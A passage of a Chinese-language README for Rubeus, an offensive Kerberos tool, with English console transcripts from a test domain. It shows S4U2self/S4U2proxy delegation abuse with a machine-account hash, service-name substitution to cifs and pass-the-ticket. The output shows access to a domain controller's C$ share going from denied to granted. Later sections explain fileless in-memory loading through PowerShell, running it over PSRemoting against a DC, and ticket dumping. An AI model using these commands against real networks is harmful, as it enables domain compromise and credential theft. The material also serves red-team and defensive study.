'patsy@TESTLAB.LOCAL' [*] Sending S4U2self request [+] S4U2self success! [*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'patsy@TESTLAB.LOCAL' [*] base64(ticket.kirbi): doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)... [*] Impersonating user 'harmj0y' to target SPN 'ldap/PRIMARY.testlab.local' [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local': doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>dir \\primary.testlab.local\C$ Access is denied. C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Service Ticket sname Substitution [*] Substituting in alternate service name: cifs [*] base64(ticket.kirbi): doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... [*] Action: Describe Ticket UserName : harmj0y@TESTLAB.LOCAL UserRealm : TESTLAB.LOCAL ServiceName : cifs/PRIMARY.testlab.local ServiceRealm : TESTLAB.LOCAL StartTime : 3/1/2019 12:51:06 PM EndTime : 3/1/2019 5:51:06 PM RenewTill : 3/8/2019 12:51:06 PM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes128_cts_hmac_sha1 Base64(key) : yxQVMhl0qn3P0wUUC4KnGQ== [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>dir \\primary.testlab.local\C$ Volume in drive \\primary.testlab.local\C$ has no label. Volume Serial Number is A48B-4D68 Directory of \\primary.testlab.local\C$ 07/05/2018 12:57 PM dumps 03/05/2017 04:36 PM inetpub 07/21/2018 07:41 PM 9 out.txt 08/22/2013 07:52 AM PerfLogs 04/15/2017 05:25 PM profiles 08/28/2018 11:51 AM Program Files 08/28/2018 11:51 AM Program Files (x86) 10/09/2018 12:04 PM Temp 08/23/2018 03:52 PM Users 10/25/2018 01:15 PM Windows 1 File(s) 9 bytes 9 Dir(s) 40,463,851,520 bytes free C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: List Kerberos Tickets (Current User) [*] Current LUID : 0x6de14 [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM Server Name : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) [1] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM Server Name : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL Client Name : harmj0y @ TESTLAB.LOCAL Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000) ``` 使用其机器帐户哈希对机器执行 S4U2self,然后替换我们要滥用的服务名称: ``` C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Ask TGT [*] Using rc4_hmac hash: 46b910dbe4514bd144b44cb554c256db [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\primary$' [+] TGT request successful! [*] base64(ticket.kirbi): doIFIDCCBRygAwIBBaEDAgEWoo...(snip)... [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'primary$@TESTLAB.LOCAL' [*] Sending S4U2self request [+] S4U2self success! [*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'primary$@TESTLAB.LOCAL' [*] base64(ticket.kirbi): doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Describe Ticket UserName : harmj0y@TESTLAB.LOCAL UserRealm : TESTLAB.LOCAL ServiceName : primary$ ServiceRealm : TESTLAB.LOCAL StartTime : 3/1/2019 12:43:56 PM EndTime : 3/1/2019 5:43:56 PM RenewTill : 3/8/2019 12:43:56 PM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable KeyType : aes256_cts_hmac_sha1 Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU= [!] Service ticket uses encryption key type 'aes256_cts_hmac_sha1', unable to extract hash and salt. C:\Rubeus>dir \\primary.testlab.local\C$ Access is denied. C:\Rubeus>Rubeus.exe purge ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 Luid: 0x0 [*] Action: Purge Tickets [+] Tickets successfully purged! C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Service Ticket sname Substitution [*] Substituting in alternate service name: cifs/primary.testlab.local [*] base64(ticket.kirbi): doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)... [*] Action: Describe Ticket UserName : harmj0y@TESTLAB.LOCAL UserRealm : TESTLAB.LOCAL ServiceName : cifs/primary.testlab.local ServiceRealm : TESTLAB.LOCAL StartTime : 3/1/2019 12:43:56 PM EndTime : 3/1/2019 5:43:56 PM RenewTill : 3/8/2019 12:43:56 PM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable KeyType : aes256_cts_hmac_sha1 Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU= [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>dir \\primary.testlab.local\C$ Volume in drive \\primary.testlab.local\C$ has no label. Volume Serial Number is A48B-4D68 Directory of \\primary.testlab.local\C$ 07/05/2018 12:57 PM dumps 03/05/2017 04:36 PM inetpub 08/22/2013 07:52 AM PerfLogs 04/15/2017 05:25 PM profiles 08/28/2018 11:51 AM Program Files 08/28/2018 11:51 AM Program Files (x86) 10/09/2018 12:04 PM Temp 08/23/2018 03:52 PM Users 10/25/2018 01:15 PM Windows 1 File(s) 9 bytes 9 Dir(s) 40,462,831,616 bytes free ``` ### currentluid **currentluid** 操作将显示当前用户的登录 ID (LUID)。 ``` C:\Rubeus>Rubeus.exe currentluid ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Display current LUID [*] Current LogonID (LUID) : 0x121078 (1183864) ``` ### logonsession 如果未提权,**logonsession** 操作将显示当前上下文的登录会话信息;如果已提权,则显示所有登录会话的信息。 ``` C:\Rubeus>Rubeus.exe logonsession ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.1.0 [*] Action: Display current logon session information LUID : 0x28a8fd (2664701) UserName : harmj0y LogonDomain : THESHIRE SID : S-1-5-21-937929760-3187473010-80948926-1104 AuthPackage : Kerberos LogonType : Interactive (2) Session : 1 LogonTime : 6/9/2022 1:17:48 PM LogonServer : DC DnsDomainName : THESHIRE.LOCAL Upn : harmj0y@theshire.local ``` 如果已提权,`/current` 标志将仅显示当前登录会话的信息,而 `/luid:X` 将显示指定目标登录会话的信息。 ### asrep2kirbi **asrep2kirbi** 操作将把 AS-REP 和客户端密钥转换为 Kirbi。 客户端密钥可以作为 Base64 编码的 blob 或十六进制字符串提供。 ### kirbi **kirbi** 操作用于操作 Kirbi(即 KERB_CRED)。 目前它仅支持使用 **/sessionkey:SESSIONKEY** 和 **/sessionetype:DES|RC4|AES128|AES256** 参数来修改/插入会话密钥,并通过 **/kirbi:X** 参数传入 Kirbi。 ## 编译说明 我们不计划发布 Rubeus 的二进制文件,因此您必须自行编译 :) Rubeus 是基于 .NET 3.5 构建的,并且与 [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) 兼容。只需打开项目 .sln 文件,选择“Release”,然后进行构建即可。 ### 目标定位其他 .NET 版本 Rubeus 的默认构建配置是针对 .NET 3.5 的,在没有安装该版本的系统上将无法运行。要将 Rubeus 定位为 .NET 4 或 4.5,请打开 .sln 解决方案,转到 **Project** -> **Rubeus Properties**,并将“Target framework”更改为其他版本。 ### 旁注:将 Rubeus 构建为库 要将 Rubeus 构建为库,请在 **Project** -> **Rubeus Properties** 下将 **Output type** 更改为 **Class Library**。编译后,将 Rubeus.dll 添加为您想要的任何项目的引用。然后可以通过多种方式调用 Rubeus 功能: ``` // pass the Main method the arguments you want Rubeus.Program.Main("dump /luid:3050142".Split()); // or invoke specific functionality manually Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID()); ``` 然后,您可以使用 [ILMerge](https://www.microsoft.com/en-us/download/details.aspx?displaylang=en&id=17630) 将 Rubeus.dll 合并到您的结果项目程序集中,以生成单个自包含文件。 ### 旁注:通过 PowerShell 运行 Rubeus 如果您想通过 PowerShell 包装器在内存中运行 Rubeus,首先编译 Rubeus 并对生成的程序集进行 base64 编码: ``` [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt ``` 然后可以使用以下命令将 Rubeus 加载到 PowerShell 脚本中(其中“aa...”替换为 base64 编码的 Rubeus 程序集字符串): ``` $RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa...")) ``` 然后可以按如下方式调用 Main() 方法和任何参数: ``` [Rubeus.Program]::Main("dump /user:administrator".Split()) ``` 或者可以调用单独的函数: ``` $TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET') # 以 netonly 模式启动 mmc.exe,非隐藏 $LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true) # 将票据应用到 mmc 的 logon session [Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID) ``` #### 旁注的旁注:通过 PSRemoting 运行 Rubeus 由于 PSRemoting 处理输出的方式,我们需要将 stdout 重定向到字符串并返回该字符串。幸运的是,Rubeus 有一个函数可以帮助解决这个问题。 如果您按照 [旁注:通过 PowerShell 运行 Rubeus](#sidenote-running-rubeus-through-powershell) 中的说明创建了 Rubeus.ps1,请在该脚本后附加如下内容: ``` [Rubeus.Program]::MainString("triage") ``` 然后,您应该能够通过如下方式在 PSRemoting 上运行 Rubeus: ``` $s = New-PSSession dc.theshire.local Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1 ``` 或者,Rubeus 的 `/consoleoutfile:C:\FILE.txt` 参数将所有输出流重定向到指定的文件。
标签:AD, AS-REP Roasting, Checkov, HTTP, JSONLines, Kekeo, Kerberoasting, M2M, PKINIT, Rubeus, Web报告查看器, 协议分析, 域渗透, 多人体追踪, 委派攻击, 工控安全, 数据展示, 权限提升, 模拟器, 活动目录, 电子数据取证, 白银票据, 票据传递攻击, 红队, 网络安全, 隐私保护, 零信任, 黄金票据